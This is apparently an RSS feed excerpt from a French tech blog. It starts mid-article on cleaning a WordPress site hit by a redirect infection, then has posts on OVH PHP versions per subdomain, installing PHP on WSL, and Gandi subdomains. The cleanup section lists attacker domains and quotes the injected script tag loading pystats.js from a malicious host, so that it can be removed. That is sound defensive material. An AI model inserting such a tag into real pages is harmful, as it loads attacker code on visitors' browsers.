&lt;li&gt;&lt;code&gt;gabriellalovecats.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;jackielovedogs.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tomorrowwillbehotmaybe.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;go.activeandbanflip.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;wiilberedmodels.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;developsincelock.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Par conséquent, le site internet devient inaccessible.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Voici la procédure à suivre pour nettoyer votre site internet WordPress.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Connectez-vous à votre base de données.
Si vous ne vous souvenez plus de vos identifiants, vous pouvez les retrouver dans le fichier &lt;code&gt;wp-config.php&lt;/code&gt;
à la racine de votre site internet.&lt;/p&gt;
&lt;p&gt;Exécutez les deux requêtes suivantes :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UPDATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;option_value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;https://www.monsiteinternet.com&amp;#34;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;option_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;UPDATE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_posts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;SET&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;post_content&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;REPLACE&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;post_content&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34; &amp;lt;script src=’https://js.wiilberedmodels.com/pystats.js?l=l&amp;amp;’ type=text/javascript language=javascript&amp;gt;&amp;lt;/script&amp;gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Notes :&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dans la première requête, remplacez `&lt;a href="https://www.monsiteinternet.com" target="_blank" rel="noreferrer"&gt;https://www.monsiteinternet.com&lt;/a&gt; par l&amp;rsquo;adresse de votre site internet WordPress.&lt;/li&gt;
&lt;li&gt;Le nom de vos tables peut être différents si vous n&amp;rsquo;utilisez pas le préfixe par défaut &lt;code&gt;wp_&lt;/code&gt;. Modifiez le nom des tables en conséquence.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Une fois ces deux requêtes exécutées, vous pouvez de nouveau vous connecter à l&amp;rsquo;espace d&amp;rsquo;administration de votre site internet (&lt;code&gt;/wp-admin&lt;/code&gt;).
Connectez-vous et effectuez toutes les mises à jour (WordPress, extensions, thèmes).&lt;/p&gt;</description></item><item><title>OVH : utiliser une version de PHP différente par sous-domaine</title><link>https://www.maximepinot.com/blog/ovh-utiliser-une-version-de-php-differente-par-sous-domaine.html</link><pubDate>Thu, 25 Jul 2019 13:11:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/ovh-utiliser-une-version-de-php-differente-par-sous-domaine.html</guid><description>&lt;p&gt;Sur les offres d&amp;rsquo;hébergements mutualisés &lt;strong&gt;OVH&lt;/strong&gt;, il est possible de définir une version différente de &lt;strong&gt;PHP&lt;/strong&gt; par sous-domaine.&lt;/p&gt;
&lt;p&gt;Prenons par exemple l&amp;rsquo;arborescence suivante en indiquant les versions de PHP voulues :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/home
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; |__ www (PHP 7.1)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; |__ sous-domaine1 (PHP 7.2)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; |__ sous-domaine2 (PHP 7.3)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; .ovhconfig&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Vous devriez avoir à la racine de votre hébergement un fichier `.ovhconfigè qui ressemble à celui-ci :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;app.engine=php
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;app.engine.version=7.3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;http.firewall=none
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;environment=production
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;container.image=stable&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Si ce n&amp;rsquo;est pas le cas, prenez cet exemple. Ce fichier reprend la configuration visible depuis votre manager OVH.&lt;/p&gt;
&lt;p&gt;Il faut placer un fichier &lt;code&gt;.ovhconfig&lt;/code&gt; à la racine de chaque sous-domaine en modifiant
la valeur de la clé &lt;code&gt;app.engine.version&lt;/code&gt; par la version de PHP voulue.&lt;/p&gt;
&lt;p&gt;Si on reprend l&amp;rsquo;exemple précédent, il faut :&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Placer dans le dossier &lt;code&gt;www/&lt;/code&gt; une copie du fichier &lt;code&gt;.ovhconfig&lt;/code&gt; en modifiant &lt;code&gt;app.engine.version=7.3&lt;/code&gt; par &lt;code&gt;app.engine.version=7.1&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Placer dans le dossier &lt;code&gt;sous-domaine1/&lt;/code&gt; une copie du fichier &lt;code&gt;.ovhconfig&lt;/code&gt; en modifiant &lt;code&gt;app.engine.version=7.3&lt;/code&gt; par &lt;code&gt;app.engine.version=7.2&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Placer dans le dossier &lt;code&gt;sous-domaine2/&lt;/code&gt; une copie du fichier &lt;code&gt;.ovhconfig&lt;/code&gt; (dans notre cas sans modification car nous voulons la version 7.3)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 class="relative group"&gt;Erreur &amp;ldquo;Not Implemented&amp;rdquo;
&lt;div id="erreur-not-implemented" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#erreur-not-implemented" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;p&gt;Si vous rencontrez une erreur &lt;strong&gt;&amp;ldquo;Not Implemented&amp;rdquo;&lt;/strong&gt;, rendez-vous dans la configuration de votre hébergement
sur le manager OVH et choisissez la version de PHP la plus récente :&lt;/p&gt;
&lt;figure&gt;&lt;img
class="my-0 rounded-md"
loading="lazy"
decoding="async"
fetchpriority="low"
alt="Image animée qui montre comment configurer la version de PHP depuis le manager OVH"
src="https://www.maximepinot.com/uploads/61c5d97d0628d_ovh-manager-config-globale-php.gif"
&gt;&lt;/figure&gt;</description></item><item><title>Installer la dernière version de PHP sur Ubuntu pour Windows (WSL)</title><link>https://www.maximepinot.com/blog/installer-derniere-version-php-ubuntu-wsl-windows-subsystem-linux.html</link><pubDate>Mon, 11 Feb 2019 13:58:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/installer-derniere-version-php-ubuntu-wsl-windows-subsystem-linux.html</guid><description>&lt;p&gt;La dernière version de &lt;strong&gt;PHP&lt;/strong&gt; n&amp;rsquo;est souvent pas disponible immédiatement dans les dépôts d&amp;rsquo;&lt;strong&gt;Ubuntu&lt;/strong&gt;.
Encore moins sous &lt;strong&gt;Ubuntu sur Windows&lt;/strong&gt; (&lt;em&gt;WSL: Windows Subsytem for Linux&lt;/em&gt;) où la version installée est souvent la
version LTS (Long Term Support).&lt;/p&gt;
&lt;p&gt;Pour installer la dernière version de PHP, il faut passer par le dépôt &lt;a href="https://launchpad.net/~ondrej/&amp;#43;archive/ubuntu/php" target="_blank" rel="noreferrer"&gt;ondrej/php&lt;/a&gt;.&lt;/p&gt;
&lt;h2 class="relative group"&gt;Ajout automatique du dépôt
&lt;div id="ajout-automatique-du-dépôt" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#ajout-automatique-du-d%c3%a9p%c3%b4t" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;p&gt;Rien de compliqué, exécutons simplement la commande suivante :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo add-apt-repository ppa:ondrej/php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Si le dépôt s&amp;rsquo;est correctement ajouté, vous avez de la chance !
Vous pouvez vous rendre directement à la partie &lt;a href="https://www.maximepinot.com/blog/installer-derniere-version-php-ubuntu-wsl-windows-subsystem-linux.html#installation-de-php" &gt;&amp;ldquo;Installation de PHP&amp;rdquo;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Si vous rencontrez l&amp;rsquo;erreur ci-dessous, il faut ajouter le dépôt manuellement.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Cannot add PPA: &amp;#39;ppa:~ondrej/ubuntu/php&amp;#39;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ERROR: &amp;#39;~ondrej&amp;#39; user or team does not exist.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 class="relative group"&gt;Ajout manuel du dépôt
&lt;div id="ajout-manuel-du-dépôt" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#ajout-manuel-du-d%c3%a9p%c3%b4t" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;p&gt;Il faut modifier le fichier &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo vim /etc/apt/sources.list&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Ajoutez les deux lignes suivantes à la fin du fichier :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;deb http://ppa.launchpad.net/ondrej/php/ubuntu bionic main
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;deb-src http://ppa.launchpad.net/ondrej/php/ubuntu bionic main&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;Remarque&lt;/strong&gt; : ces deux lignes sont à utiliser si vous utilisez Ubuntu 18.04 (Bionic) ou Ubuntu 18.10 LTS.
Remplacez &amp;ldquo;bionic&amp;rdquo; par le nom de votre version Ubuntu.
Il suffit de regarder dans les lignes déjà existantes du fichier &lt;code&gt;/etc/apt/sources.list&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Sauvegardez la modification du fichier (`:wq sur vim) et rafraichissez les dépôts :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get update&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Encore une erreur !!&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Hit:5 http://security.ubuntu.com/ubuntu bionic-security InRelease
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get:1 http://ppa.launchpad.net/ondrej/php/ubuntu bionic InRelease [20.8 kB]
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Err:1 http://ppa.launchpad.net/ondrej/php/ubuntu bionic InRelease
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The following signatures couldn&amp;#39;t be verified because the public key is not available: NO_PUBKEY 4F4EA0AAE5267A6C&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Pour résoudre ce problème, exécutez la commande suivante :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Vous remarquerez que le dernier paramètre de la commande correspond à la clé présente dans le message d&amp;rsquo;erreur (`4F4EA0AAE5267A6C).
Il faut donc modifier la commande en conséquence si votre message d&amp;rsquo;erreur contient une clé différente.&lt;/p&gt;
&lt;p&gt;Si vous souhaitez plus d&amp;rsquo;informations sur ce problème, consultez cet article (en anglais): &lt;a href="https://chrisjean.com/fix-apt-get-update-the-following-signatures-couldnt-be-verified-because-the-public-key-is-not-available/" target="_blank" rel="noreferrer"&gt;Fix apt-get update “the following signatures couldn’t be verified because the public key is not available”&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Une fois cette commande exécutée, rafraichissez une nouvelle fois les dépôts :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get update&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 class="relative group"&gt;Installation de PHP
&lt;div id="installation-de-php" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#installation-de-php" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;p&gt;Pour installer la dernière version de PHP (7.4 au moment où j&amp;rsquo;écris cet article), exécutez la commande suivante :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install php7.4&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Grâce au dépôt &amp;ldquo;ondrej/php&amp;rdquo;, vous pouvez installer n&amp;rsquo;importe quelle version que vous souhaitez :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install php7.3
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install php7.2
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sudo apt-get install php7.1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Et voilà ! Vous pouvez vérifier la version de PHP avec la commande :&lt;/p&gt;
&lt;div class="highlight-wrapper"&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-shell" data-lang="shell"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;$ php -v
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PHP 7.4.0 &lt;span class="o"&gt;(&lt;/span&gt;cli&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;built: Nov &lt;span class="m"&gt;28&lt;/span&gt; &lt;span class="m"&gt;2019&lt;/span&gt; 07:27:06&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt; NTS &lt;span class="o"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;</description></item><item><title>Comment créer un sous-domaine facilement chez Gandi</title><link>https://www.maximepinot.com/blog/comment-creer-un-sous-domaine-facilement-chez-gandi.html</link><pubDate>Fri, 20 Mar 2015 11:39:00 +0200</pubDate><author>contact+blog@maximepinot.com (Maxime Pinot)</author><guid>https://www.maximepinot.com/blog/comment-creer-un-sous-domaine-facilement-chez-gandi.html</guid><description>
&lt;h2 class="relative group"&gt;L&amp;rsquo;histoire
&lt;div id="lhistoire" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#lhistoire" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;p&gt;Vous venez d’acquérir un hébergement chez &lt;a href="https://www.gandi.net/" target="_blank" rel="noreferrer"&gt;&lt;strong&gt;Gandi&lt;/strong&gt;&lt;/a&gt; et vous souhaitez mettre en place
un &lt;strong&gt;sous-domaine&lt;/strong&gt; afin d’avoir une jolie adresse Internet pour votre blog, par exemple.&lt;/p&gt;
&lt;p&gt;Pour rappel, un &lt;strong&gt;sous-domaine&lt;/strong&gt; est la partie de l’adresse Internet qui précède le nom de domaine : &lt;code&gt;https://sous-domaine.nom-de-domaine.tld&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Exemple avec &lt;code&gt;https://blog.maximepinot.com&lt;/code&gt; où &lt;code&gt;blog&lt;/code&gt; est le sous-domaine, &lt;code&gt;maximepinot&lt;/code&gt; est le nom de domaine
et &lt;code&gt;com&lt;/code&gt; le &lt;a href="https://fr.wikipedia.org/wiki/Domaine_de_premier_niveau" target="_blank" rel="noreferrer"&gt;domaine de premier niveau&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Comme toute personne munie de bon sens, vous allez commencer par consulter la documentation en ligne (&lt;a href="https://wiki.gandi.net/fr" target="_blank" rel="noreferrer"&gt;le Wiki&lt;/a&gt;)
sur le site de Gandi pour trouver une solution.
Bonne idée car il y a effectivement une page « &lt;a href="https://wiki.gandi.net/fr/dns/zone/subdomain" target="_blank" rel="noreferrer"&gt;Comment créer un sous-domaine&lt;/a&gt; ».
On commence à vous parler de &lt;strong&gt;DNS&lt;/strong&gt;, puis d’&lt;strong&gt;enregistrement A&lt;/strong&gt;, puis d’&lt;strong&gt;enregistrement CNAME&lt;/strong&gt;,
on vous demande d’indiquer une &lt;strong&gt;adresse IP&lt;/strong&gt;…
Bref, vous n&amp;rsquo;y &lt;strong&gt;comprenez rien&lt;/strong&gt; et vous êtes &lt;strong&gt;totalement perdu&lt;/strong&gt; ! Je vous comprends !&lt;/p&gt;
&lt;p&gt;Vous continuez quand même à chercher une solution et vous tombez sur une autre page : « &lt;a href="https://wiki.gandi.net/fr/domains/management/domain-as-website/forwarding" target="_blank" rel="noreferrer"&gt;Redirigez votre domaine ou votre sous-domaine vers un site web existant&lt;/a&gt; ». On vous propose de faire &lt;strong&gt;une redirection web&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Parfait !&lt;/strong&gt; Ça ressemble parfaitement à ce que nous cherchons à faire !
Nous avons plus qu’à indiquer le sous-domaine (&lt;code&gt;blog&lt;/code&gt;) et le répertoire où se trouve nos fichiers (&lt;code&gt;www.mon-nom-de-domaine.com/blog&lt;/code&gt;) et c’est bon !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Problème :&lt;/strong&gt; On peut effectivement désormais accéder à &lt;code&gt;blog.mon-nom-de-domaine.com&lt;/code&gt; mais cela nous &lt;strong&gt;redirige&lt;/strong&gt; vers &lt;code&gt;www.mon-nom-de-domaine.com/blog&lt;/code&gt;.
Notre but est d’avoir &lt;strong&gt;continuellement&lt;/strong&gt; comme adresse Internet notre sous-domaine.&lt;br&gt;
&lt;em&gt;Exemple : &lt;code&gt;blog.maximepinot.com/index.php&lt;/code&gt; à la place de &lt;code&gt;www.maximepinot.com/blog/index.php&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Bon. Vous oubliez la documentation et vous vous rendez sur le forum de Gandi.
Vous êtes sûrement pas le seul/la seule à rencontrer ce problème.
Effectivement, beaucoup de gens sur le forum cherchent aussi à créer un sous-domaine.
Malheureusement, les quelques réponses apportées ne vous aide pas…&lt;/p&gt;
&lt;h2 class="relative group"&gt;La solution
&lt;div id="la-solution" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#la-solution" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Connectez-vous sur &lt;a href="https://www.gandi.net/admin" target="_blank" rel="noreferrer"&gt;votre interface d’administration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Allez sur &lt;a href="https://www.gandi.net/admin/hosting/paas/management" target="_blank" rel="noreferrer"&gt;la page de gestion de votre hébergement Simple Hosting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Cliquez sur le nom de votre instance&lt;/li&gt;
&lt;li&gt;Au milieu de la page, vous trouverez une partie intitulée &lt;strong&gt;« Sites »&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Cliquez sur &lt;strong&gt;« Ajouter »&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Dans le champ &lt;strong&gt;« Adresse (vhost) »&lt;/strong&gt;, entrez l’adresse complète souhaitée : le sous-domaine + votre nom de domaine.tld, puis cliquez sur &lt;strong&gt;« Valider »&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Cliquez sur l’icône à côté de votre nouvelle adresse pour mettre à jour les DNS.&lt;br&gt;
&lt;strong&gt;Remarque&lt;/strong&gt; : Il faudra attendre quelques heures pour que les DNS se mettent à jour et pouvoir accéder à l’adresse créée.&lt;/li&gt;
&lt;li&gt;Connectez-vous à votre &lt;a href="https://wiki.gandi.net/fr/simple/sftp" target="_blank" rel="noreferrer"&gt;&lt;strong&gt;sftp&lt;/strong&gt;&lt;/a&gt;. Vous remarquerez qu’un nouveau dossier (portant le nom de l’adresse que vous venez d’ajouter)
a été créé dans votre dossier &lt;strong&gt;vhosts&lt;/strong&gt;. Tous les fichiers de ce sous-domaine devront être placés dans ce dossier.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 class="relative group"&gt;Mes expériences précédentes
&lt;div id="mes-expériences-précédentes" class="anchor"&gt;&lt;/div&gt;
&lt;span
class="absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100 select-none"&gt;
&lt;a class="text-primary-300 dark:text-neutral-700 !no-underline" href="#mes-exp%c3%a9riences-pr%c3%a9c%c3%a9dentes" aria-label="Ancre"&gt;#&lt;/a&gt;
&lt;/span&gt;
&lt;/h2&gt;
&lt;p&gt;Ce n’est pas la première fois que je souhaite créer un sous-domaine pour un de mes sites Internet.
Tous les autres hébergeurs que j’ai connus utilisaient &lt;a href="https://cpanel.net/" target="_blank" rel="noreferrer"&gt;CPanel&lt;/a&gt; comme interface d’administration.&lt;/p&gt;
&lt;p&gt;Il faut avouer que ce dernier est bien plus intuitif en ce qui concerne la création de sous-domaines.&lt;/p&gt;
&lt;p&gt;Dans l’interface d’administration, il suffit de se rendre tout simplement dans la partie &lt;strong&gt;« Sous-domaine »&lt;/strong&gt;
et indiquer le nom du sous-domaine souhaité ainsi que le répertoire où se trouve nos fichiers
(de la même manière qu’une redirection web chez Gandi). &lt;strong&gt;En deux clics, c’est réglé !&lt;/strong&gt;&lt;/p&gt;</description></item></channel></rss>